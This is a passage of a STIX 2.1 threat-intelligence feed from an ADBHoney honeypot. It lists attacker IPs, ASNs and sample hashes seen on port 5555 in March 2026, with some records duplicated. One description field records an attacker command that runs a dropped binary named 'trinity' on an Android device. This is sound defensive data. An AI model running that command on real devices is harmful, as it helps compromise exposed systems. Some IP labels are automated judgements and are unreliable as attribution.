          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 123,
          "first_seen": "2026-03-06T19:42:13.000Z",
          "last_seen": "2026-03-30T22:55:44.598Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "36352"
          ],
          "org": [
            "HostPapa"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-06T20:00:08.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/689b47e85e5f2dde8c935d6b05b6a2db1d7d1686ee158b84e34e86f787844b21.raw; last_seen=2026-03-06T19:42:15.234Z",
      "id": "indicator--9b287290-6c52-4ed2-8d8e-1782c391e1e0",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = '689b47e85e5f2dde8c935d6b05b6a2db1d7d1686ee158b84e34e86f787844b21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T20:00:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-06T20:00:08.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/5400d67f68d27c00a40f5c26ef626c99a01977a718658ce8ccb236b778311c91.raw; last_seen=2026-03-06T19:42:14.490Z",
      "id": "indicator--6ca3c34e-8324-416b-830e-453c01ce3193",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = '5400d67f68d27c00a40f5c26ef626c99a01977a718658ce8ccb236b778311c91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T20:00:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-06T20:00:08.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/dd9b9383c0eb38e616244e67d28f27c5844c0ea235f217ace8add636d47b0a5f.raw; last_seen=2026-03-06T19:42:14.641Z",
      "id": "indicator--9040bedb-157f-45a2-9e2f-a7cd7de3b575",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = 'dd9b9383c0eb38e616244e67d28f27c5844c0ea235f217ace8add636d47b0a5f']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T20:00:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-06T21:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=CN; asn=140527; asn_org=China Telecom; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=29 | first_seen=2026-03-06T20:10:06.000Z | last_seen=2026-03-23T19:03:10.490Z | ports=5555 | cc=CN | asn=140527 | org=China Telecom",
      "id": "indicator--ca0b2352-c13d-4fff-a2c2-efe0bc09a332",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '117.68.74.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T21:00:02.000Z",
      "valid_until": "2026-04-07T21:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 29,
          "first_seen": "2026-03-06T20:10:06.000Z",
          "last_seen": "2026-03-23T19:03:10.490Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "140527"
          ],
          "org": [
            "China Telecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-06T21:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=CN; asn=140527; asn_org=China Telecom; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=13 | first_seen=2026-03-06T20:10:07.000Z | last_seen=2026-03-23T16:02:28.014Z | ports=5555 | cc=CN | asn=140527 | org=China Telecom",
      "id": "indicator--46c7930b-81b7-42fa-b84a-a6848c768eed",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '117.68.74.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T21:00:02.000Z",
      "valid_until": "2026-04-07T21:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 13,
          "first_seen": "2026-03-06T20:10:07.000Z",
          "last_seen": "2026-03-23T16:02:28.014Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "140527"
          ],
          "org": [
            "China Telecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-06T21:00:15.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=CN; asn=140527; asn_org=China Telecom; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=29 | first_seen=2026-03-06T20:10:06.000Z | last_seen=2026-03-23T19:03:10.490Z | ports=5555 | cc=CN | asn=140527 | org=China Telecom",
      "id": "indicator--ca0b2352-c13d-4fff-a2c2-efe0bc09a332",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '117.68.74.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T21:00:15.000Z",
      "valid_until": "2026-04-07T21:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 29,
          "first_seen": "2026-03-06T20:10:06.000Z",
          "last_seen": "2026-03-23T19:03:10.490Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "140527"
          ],
          "org": [
            "China Telecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-06T21:00:15.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=CN; asn=140527; asn_org=China Telecom; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=13 | first_seen=2026-03-06T20:10:07.000Z | last_seen=2026-03-23T16:02:28.014Z | ports=5555 | cc=CN | asn=140527 | org=China Telecom",
      "id": "indicator--46c7930b-81b7-42fa-b84a-a6848c768eed",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '117.68.74.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T21:00:15.000Z",
      "valid_until": "2026-04-07T21:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 13,
          "first_seen": "2026-03-06T20:10:07.000Z",
          "last_seen": "2026-03-23T16:02:28.014Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "140527"
          ],
          "org": [
            "China Telecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-06T22:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=LT; asn=209605; asn_org=UAB Host Baltic; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-06T21:33:51.000Z | last_seen=2026-03-06T21:34:55.555Z | ports=5555 | cc=LT | asn=209605 | org=UAB Host Baltic",
      "id": "indicator--d1439f59-be31-4c93-88a6-01abfd32f3c0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '141.98.10.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T22:00:02.000Z",
      "valid_until": "2026-04-07T22:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-06T21:33:51.000Z",
          "last_seen": "2026-03-06T21:34:55.555Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "LT"
          ],
          "asn": [
            "209605"
          ],
          "org": [
            "UAB Host Baltic"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-06T22:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=LT; asn=209605; asn_org=UAB Host Baltic; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-06T21:33:51.000Z | last_seen=2026-03-06T21:34:55.555Z | ports=5555 | cc=LT | asn=209605 | org=UAB Host Baltic",
      "id": "indicator--d1439f59-be31-4c93-88a6-01abfd32f3c0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '141.98.10.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T22:00:02.000Z",
      "valid_until": "2026-04-07T22:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-06T21:33:51.000Z",
          "last_seen": "2026-03-06T21:34:55.555Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "LT"
          ],
          "asn": [
            "209605"
          ],
          "org": [
            "UAB Host Baltic"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-06T23:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=9 | first_seen=2026-03-06T22:34:14.000Z | last_seen=2026-03-06T22:35:32.586Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--bf86e7d9-9a76-4630-99cf-3e33626e11fa",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '206.168.34.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T23:00:02.000Z",
      "valid_until": "2026-04-07T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 9,
          "first_seen": "2026-03-06T22:34:14.000Z",
          "last_seen": "2026-03-06T22:35:32.586Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-06T23:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=10; ports=5555; cc=FR; asn=51167; asn_org=Contabo GmbH; cats=Misc activity; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=10 | first_seen=2026-03-06T22:16:48.000Z | last_seen=2026-03-06T22:21:48.718Z | ports=5555 | cc=FR | asn=51167 | org=Contabo GmbH",
      "id": "indicator--17f0557e-2305-4677-929d-05b8df41024a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '37.60.241.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T23:00:02.000Z",
      "valid_until": "2026-04-07T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 10,
          "first_seen": "2026-03-06T22:16:48.000Z",
          "last_seen": "2026-03-06T22:21:48.718Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "51167"
          ],
          "org": [
            "Contabo GmbH"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-07T00:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=59; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; adb_cmd_hits=0; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-03. events=59 | first_seen=2026-03-06T23:23:33.000Z | last_seen=2026-03-06T23:37:15.299Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--22dc9c35-4660-481d-b383-54d64c9e88a0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '112.224.192.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T00:00:03.000Z",
      "valid_until": "2026-04-08T00:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 59,
          "first_seen": "2026-03-06T23:23:33.000Z",
          "last_seen": "2026-03-06T23:37:15.299Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-07T00:00:23.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=59; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; adb_cmd_hits=0; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-03. events=59 | first_seen=2026-03-06T23:23:33.000Z | last_seen=2026-03-06T23:37:15.299Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--22dc9c35-4660-481d-b383-54d64c9e88a0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '112.224.192.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T00:00:23.000Z",
      "valid_until": "2026-04-08T00:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 59,
          "first_seen": "2026-03-06T23:23:33.000Z",
          "last_seen": "2026-03-06T23:37:15.299Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-07T03:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=202425; asn_org=IP Volume inc; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=6 | first_seen=2026-03-07T02:34:11.000Z | last_seen=2026-03-07T02:35:21.876Z | ports=5555 | cc=US | asn=202425 | org=IP Volume inc",
      "id": "indicator--1f0d0881-3504-4527-b351-c8c7539220a8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.242.226.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T03:00:02.000Z",
      "valid_until": "2026-04-08T03:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 6,
          "first_seen": "2026-03-07T02:34:11.000Z",
          "last_seen": "2026-03-07T02:35:21.876Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "202425"
          ],
          "org": [
            "IP Volume inc"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-07T04:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-07T03:09:45.000Z | last_seen=2026-03-07T03:10:47.936Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--e8848e25-7800-43de-aff6-217b859228f2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '167.71.103.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T04:00:03.000Z",
      "valid_until": "2026-04-08T04:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-07T03:09:45.000Z",
          "last_seen": "2026-03-07T03:10:47.936Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-07T04:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=9 | first_seen=2026-03-07T03:58:06.000Z | last_seen=2026-03-07T04:08:11.775Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--4ed88d92-c020-46ad-9bf4-bbb7100f7706",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T04:00:03.000Z",
      "valid_until": "2026-04-08T04:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 9,
          "first_seen": "2026-03-07T03:58:06.000Z",
          "last_seen": "2026-03-07T04:08:11.775Z",
          "ports": [
            "5555"
